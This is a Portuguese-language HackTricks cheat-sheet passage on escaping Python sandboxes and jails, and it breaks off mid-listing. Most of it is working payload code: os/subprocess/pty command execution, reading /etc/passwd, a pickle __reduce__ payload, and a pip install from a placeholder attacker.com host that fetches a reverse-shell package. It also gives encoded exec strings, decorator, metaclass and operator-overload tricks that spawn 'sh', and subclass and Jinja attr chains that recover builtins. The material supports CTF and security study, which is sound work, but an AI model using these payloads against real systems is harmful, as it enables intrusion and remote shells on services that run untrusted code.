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https://github.com/carlospolop/hacktricks
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1048 lines
61 KiB
Markdown
1048 lines
61 KiB
Markdown
# Bypass Python sandboxes
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<details>
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<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Outras maneiras de apoiar o HackTricks:
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* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
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* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
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* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
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</details>
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Estes são alguns truques para contornar as proteções de sandbox do Python e executar comandos arbitrários.
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## Bibliotecas de Execução de Comandos
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A primeira coisa que você precisa saber é se pode executar código diretamente com alguma biblioteca já importada, ou se pode importar alguma destas bibliotecas:
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```python
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os.system("ls")
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os.popen("ls").read()
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commands.getstatusoutput("ls")
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commands.getoutput("ls")
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commands.getstatus("file/path")
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subprocess.call("ls", shell=True)
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subprocess.Popen("ls", shell=True)
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pty.spawn("ls")
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pty.spawn("/bin/bash")
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platform.os.system("ls")
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pdb.os.system("ls")
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#Import functions to execute commands
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importlib.import_module("os").system("ls")
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importlib.__import__("os").system("ls")
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imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
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imp.os.system("ls")
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imp.sys.modules["os"].system("ls")
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sys.modules["os"].system("ls")
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__import__("os").system("ls")
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import os
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from os import *
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#Other interesting functions
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open("/etc/passwd").read()
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open('/var/www/html/input', 'w').write('123')
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#In Python2.7
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execfile('/usr/lib/python2.7/os.py')
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system('ls')
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```
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Lembre-se de que as funções _**open**_ e _**read**_ podem ser úteis para **ler arquivos** dentro da sandbox do Python e para **escrever algum código** que você poderia **executar** para **burlar** a sandbox.
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{% hint style="danger" %}
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A função **Python2 input()** permite a execução de código Python antes do programa travar.
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{% endhint %}
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O Python tenta **carregar bibliotecas do diretório atual primeiro** (o comando a seguir irá imprimir de onde o Python está carregando os módulos): `python3 -c 'import sys; print(sys.path)'`
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.png>)
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## Burlar a sandbox do pickle com os pacotes Python instalados por padrão
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### Pacotes padrão
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Você pode encontrar uma **lista de pacotes pré-instalados** aqui: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
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Observe que a partir de um pickle, você pode fazer o ambiente Python **importar bibliotecas arbitrárias** instaladas no sistema.\
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Por exemplo, o seguinte pickle, quando carregado, vai importar a biblioteca pip para usá-la:
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```python
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#Note that here we are importing the pip library so the pickle is created correctly
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#however, the victim doesn't even need to have the library installed to execute it
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#the library is going to be loaded automatically
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import pickle, os, base64, pip
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class P(object):
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def __reduce__(self):
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return (pip.main,(["list"],))
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print(base64.b64encode(pickle.dumps(P(), protocol=0)))
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```
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Para obter mais informações sobre como o pickle funciona, acesse: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
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### Pacote Pip
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Truque compartilhado por **@isHaacK**
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Se você tiver acesso ao `pip` ou `pip.main()`, você pode instalar um pacote arbitrário e obter um shell reverso chamando:
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```bash
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pip install http://attacker.com/Rerverse.tar.gz
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pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
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```
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Pode baixar o pacote para criar o shell reverso aqui. Por favor, note que antes de usá-lo você deve **descompactá-lo, alterar o `setup.py` e colocar seu IP para o shell reverso**:
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{% file src="../../../.gitbook/assets/reverse.tar.gz" %}
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{% hint style="info" %}
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Este pacote é chamado `Reverse`. No entanto, foi especialmente elaborado para que, ao sair do shell reverso, o restante da instalação falhe, então você **não deixará nenhum pacote Python extra instalado no servidor** ao sair.
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{% endhint %}
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## Avaliando código Python
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{% hint style="warning" %}
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Observe que exec permite strings multilinhas e ";", mas eval não (verifique o operador walrus)
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{% endhint %}
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Se certos caracteres forem proibidos, você pode usar a representação **hex/octal/B64** para **burlar** a restrição:
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```python
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exec("print('RCE'); __import__('os').system('ls')") #Using ";"
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exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
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eval("__import__('os').system('ls')") #Eval doesn't allow ";"
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eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
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__import__('timeit').timeit("__import__('os').system('ls')",number=1)
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#One liners that allow new lines and tabs
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eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
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exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
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```
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```python
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#Octal
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exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
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#Hex
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exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
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#Base64
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exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
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exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
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```
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### Outras bibliotecas que permitem avaliar código Python
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```python
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#Pandas
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import pandas as pd
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df = pd.read_csv("currency-rates.csv")
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df.query('@__builtins__.__import__("os").system("ls")')
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df.query("@pd.io.common.os.popen('ls').read()")
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df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
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# The previous options work but others you might try give the error:
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# Only named functions are supported
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# Like:
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df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
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```
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## Operadores e truques rápidos
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```python
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# walrus operator allows generating variable inside a list
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## everything will be executed in order
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## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/
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[a:=21,a*2]
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[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
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## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
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```
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## Bypassando proteções através de codificações (UTF-7)
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No [**este artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 é usado para carregar e executar código Python arbitrário dentro de um sandbox aparente:
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```python
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assert b"+AAo-".decode("utf_7") == "\n"
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payload = """
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# -*- coding: utf_7 -*-
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def f(x):
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return x
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#+AAo-print(open("/flag.txt").read())
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""".lstrip()
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```
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Também é possível contorná-lo usando outras codificações, por exemplo, `raw_unicode_escape` e `unicode_escape`.
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## Execução Python sem chamadas
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Se você estiver dentro de uma prisão Python que **não permite fazer chamadas**, ainda existem algumas maneiras de **executar funções, código** e **comandos** arbitrários.
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### RCE com [decoradores](https://docs.python.org/3/glossary.html#term-decorator)
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```python
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# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
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@exec
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@input
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class X:
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pass
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# The previous code is equivalent to:
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class X:
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pass
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X = input(X)
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X = exec(X)
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# So just send your python code when prompted and it will be executed
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# Another approach without calling input:
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@eval
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@'__import__("os").system("sh")'.format
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class _:pass
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```
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### RCE criando objetos e sobrecarregando
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Se você pode **declarar uma classe** e **criar um objeto** dessa classe, você pode **escrever/sobrescrever diferentes métodos** que podem ser **acionados** **sem** **precisar chamá-los diretamente**.
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#### RCE com classes personalizadas
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Você pode modificar alguns **métodos de classe** (_sobrescrevendo métodos de classe existentes ou criando uma nova classe_) para fazê-los **executar código arbitrário** quando **acionados** sem chamá-los diretamente.
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```python
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# This class has 3 different ways to trigger RCE without directly calling any function
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class RCE:
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def __init__(self):
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self += "print('Hello from __init__ + __iadd__')"
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__iadd__ = exec #Triggered when object is created
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def __del__(self):
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self -= "print('Hello from __del__ + __isub__')"
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__isub__ = exec #Triggered when object is created
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__getitem__ = exec #Trigerred with obj[<argument>]
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__add__ = exec #Triggered with obj + <argument>
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# These lines abuse directly the previous class to get RCE
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rce = RCE() #Later we will see how to create objects without calling the constructor
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rce["print('Hello from __getitem__')"]
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rce + "print('Hello from __add__')"
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del rce
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# These lines will get RCE when the program is over (exit)
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sys.modules["pwnd"] = RCE()
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exit()
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# Other functions to overwrite
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__sub__ (k - 'import os; os.system("sh")')
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__mul__ (k * 'import os; os.system("sh")')
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__floordiv__ (k // 'import os; os.system("sh")')
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__truediv__ (k / 'import os; os.system("sh")')
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__mod__ (k % 'import os; os.system("sh")')
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__pow__ (k**'import os; os.system("sh")')
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__lt__ (k < 'import os; os.system("sh")')
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__le__ (k <= 'import os; os.system("sh")')
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__eq__ (k == 'import os; os.system("sh")')
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__ne__ (k != 'import os; os.system("sh")')
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__ge__ (k >= 'import os; os.system("sh")')
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__gt__ (k > 'import os; os.system("sh")')
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__iadd__ (k += 'import os; os.system("sh")')
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__isub__ (k -= 'import os; os.system("sh")')
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__imul__ (k *= 'import os; os.system("sh")')
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__ifloordiv__ (k //= 'import os; os.system("sh")')
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__idiv__ (k /= 'import os; os.system("sh")')
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__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
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__imod__ (k %= 'import os; os.system("sh")')
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__ipow__ (k **= 'import os; os.system("sh")')
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__ilshift__ (k<<= 'import os; os.system("sh")')
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__irshift__ (k >>= 'import os; os.system("sh")')
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__iand__ (k = 'import os; os.system("sh")')
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__ior__ (k |= 'import os; os.system("sh")')
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__ixor__ (k ^= 'import os; os.system("sh")')
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```
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#### Criando objetos com [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
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A coisa chave que as metaclasses nos permitem fazer é **criar uma instância de uma classe, sem chamar o construtor** diretamente, criando uma nova classe com a classe alvo como uma metaclass.
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```python
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# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
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# This will define the members of the "subclass"
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class Metaclass(type):
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__getitem__ = exec # So Sub[string] will execute exec(string)
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# Note: Metaclass.__class__ == type
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class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass
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pass # Nothing special to do
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Sub['import os; os.system("sh")']
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## You can also use the tricks from the previous section to get RCE with this object
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```
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#### Criando objetos com exceções
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Quando uma **exceção é acionada**, um objeto da **Exceção** é **criado** sem que você precise chamar o construtor diretamente (um truque de [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)):
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```python
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class RCE(Exception):
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def __init__(self):
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self += 'import os; os.system("sh")'
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__iadd__ = exec #Triggered when object is created
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raise RCE #Generate RCE object
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# RCE with __add__ overloading and try/except + raise generated object
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class Klecko(Exception):
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__add__ = exec
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try:
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raise Klecko
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except Klecko as k:
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k + 'import os; os.system("sh")' #RCE abusing __add__
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## You can also use the tricks from the previous section to get RCE with this object
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```
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### Mais RCE
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```python
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# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
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# If sys is imported, you can sys.excepthook and trigger it by triggering an error
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class X:
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def __init__(self, a, b, c):
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self += "os.system('sh')"
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__iadd__ = exec
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sys.excepthook = X
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1/0 #Trigger it
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# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py
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# The interpreter will try to import an apt-specific module to potentially
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# report an error in ubuntu-provided modules.
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# Therefore the __import__ functions are overwritten with our RCE
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class X():
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def __init__(self, a, b, c, d, e):
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self += "print(open('flag').read())"
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__iadd__ = eval
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__builtins__.__import__ = X
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{}[1337]
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```
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### Ler arquivo com a ajuda de builtins e licença
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```python
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__builtins__.__dict__["license"]._Printer__filenames=["flag"]
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a = __builtins__.help
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a.__class__.__enter__ = __builtins__.__dict__["license"]
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a.__class__.__exit__ = lambda self, *args: None
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with (a as b):
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pass
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```
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## Funções internas
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* [**Funções internas do python2**](https://docs.python.org/2/library/functions.html)
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* [**Funções internas do python3**](https://docs.python.org/3/library/functions.html)
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Se você pode acessar o objeto **`__builtins__`**, você pode importar bibliotecas (observe que você também poderia usar aqui outra representação de string mostrada na última seção):
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```python
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__builtins__.__import__("os").system("ls")
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__builtins__.__dict__['__import__']("os").system("ls")
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```
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### Sem Builtins
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Quando você não tem `__builtins__`, não será capaz de importar nada nem mesmo ler ou escrever arquivos, pois **todas as funções globais** (como `open`, `import`, `print`...) **não estão carregadas**.\
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No entanto, **por padrão o Python importa muitos módulos na memória**. Esses módulos podem parecer inofensivos, mas alguns deles **também importam funcionalidades perigosas** dentro deles que podem ser acessadas para obter até mesmo **execução de código arbitrário**.
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Nos exemplos a seguir, você pode observar como **abusar** de alguns desses módulos "**inofensivos**" carregados para **acessar** **funcionalidades perigosas** dentro deles.
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**Python2**
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```python
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#Try to reload __builtins__
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reload(__builtins__)
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import __builtin__
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# Read recovering <type 'file'> in offset 40
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().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
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# Write recovering <type 'file'> in offset 40
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().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
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# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
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().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
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# Execute (another method)
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().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
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# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
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().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")
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# Or you could obtain the builtins from a defined function
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get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
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```
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#### Python3
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#### Python3
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```python
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# Obtain builtins from a globally defined function
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# https://docs.python.org/3/library/functions.html
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help.__call__.__builtins__ # or __globals__
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license.__call__.__builtins__ # or __globals__
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credits.__call__.__builtins__ # or __globals__
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print.__self__
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dir.__self__
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globals.__self__
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len.__self__
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__build_class__.__self__
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# Obtain the builtins from a defined function
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get_flag.__globals__['__builtins__']
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# Get builtins from loaded classes
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[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
|
```
|
|
[**Abaixo há uma função maior**](./#recursive-search-of-builtins-globals) para encontrar dezenas/**centenas** de **locais** onde você pode encontrar os **builtins**.
|
|
|
|
#### Python2 e Python3
|
|
```python
|
|
# Recover __builtins__ and make everything easier
|
|
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
|
|
__builtins__["__import__"]('os').system('ls')
|
|
```
|
|
### Cargas úteis integradas
|
|
```python
|
|
# Possible payloads once you have found the builtins
|
|
__builtins__["open"]("/etc/passwd").read()
|
|
__builtins__["__import__"]("os").system("ls")
|
|
# There are lots of other payloads that can be abused to execute commands
|
|
# See them below
|
|
```
|
|
## Globais e locais
|
|
|
|
Verificar os **`globals`** e **`locals`** é uma boa maneira de saber o que você pode acessar.
|
|
```python
|
|
>>> globals()
|
|
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
|
>>> locals()
|
|
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
|
|
|
# Obtain globals from a defined function
|
|
get_flag.__globals__
|
|
|
|
# Obtain globals from an object of a class
|
|
class_obj.__init__.__globals__
|
|
|
|
# Obtaining globals directly from loaded classes
|
|
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ]
|
|
[<class 'function'>]
|
|
|
|
# Obtaining globals from __init__ of loaded classes
|
|
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ]
|
|
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
|
# Without the use of the dir() function
|
|
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
|
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
|
```
|
|
[**Abaixo há uma função maior**](./#recursive-search-of-builtins-globals) para encontrar dezenas/**centenas** de **locais** onde você pode encontrar os **globals**.
|
|
|
|
## Descobrindo Execução Arbitrária
|
|
|
|
Aqui eu quero explicar como descobrir facilmente **funcionalidades mais perigosas carregadas** e propor exploits mais confiáveis.
|
|
|
|
#### Acessando subclasses com bypasses
|
|
|
|
Uma das partes mais sensíveis desta técnica é ser capaz de **acessar as subclasses base**. Nos exemplos anteriores, isso foi feito usando `''.__class__.__base__.__subclasses__()`, mas existem **outras maneiras possíveis**:
|
|
```python
|
|
#You can access the base from mostly anywhere (in regular conditions)
|
|
"".__class__.__base__.__subclasses__()
|
|
[].__class__.__base__.__subclasses__()
|
|
{}.__class__.__base__.__subclasses__()
|
|
().__class__.__base__.__subclasses__()
|
|
(1).__class__.__base__.__subclasses__()
|
|
bool.__class__.__base__.__subclasses__()
|
|
print.__class__.__base__.__subclasses__()
|
|
open.__class__.__base__.__subclasses__()
|
|
defined_func.__class__.__base__.__subclasses__()
|
|
|
|
#You can also access it without "__base__" or "__class__"
|
|
# You can apply the previous technique also here
|
|
"".__class__.__bases__[0].__subclasses__()
|
|
"".__class__.__mro__[1].__subclasses__()
|
|
"".__getattribute__("__class__").mro()[1].__subclasses__()
|
|
"".__getattribute__("__class__").__base__.__subclasses__()
|
|
|
|
# This can be useful in case it is not possible to make calls (therefore using decorators)
|
|
().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec
|
|
|
|
#If attr is present you can access everything as a string
|
|
# This is common in Django (and Jinja) environments
|
|
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
|
|
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
|
|
```
|
|
### Encontrando bibliotecas perigosas carregadas
|
|
|
|
Por exemplo, sabendo que com a biblioteca **`sys`** é possível **importar bibliotecas arbitrárias**, você pode procurar por todos os **módulos carregados que importaram o sys dentro deles**:
|
|
```python
|
|
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
|
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
|
```
|
|
Há muitos, e **só precisamos de um** para executar comandos:
|
|
```python
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
|
```
|
|
Podemos fazer a mesma coisa com **outras bibliotecas** que sabemos que podem ser usadas para **executar comandos**:
|
|
```python
|
|
#os
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls')
|
|
|
|
#subprocess
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
|
|
[ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls')
|
|
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls')
|
|
|
|
#builtins
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")
|
|
|
|
#sys
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")
|
|
|
|
#commands (not very common)
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")
|
|
|
|
#pty (not very common)
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")
|
|
|
|
#importlib
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")
|
|
|
|
#pdb
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
|
```
|
|
Além disso, podemos até mesmo pesquisar quais módulos estão carregando bibliotecas maliciosas:
|
|
```python
|
|
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
|
for b in bad_libraries_names:
|
|
vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ]
|
|
print(f"{b}: {', '.join(vuln_libs)}")
|
|
|
|
"""
|
|
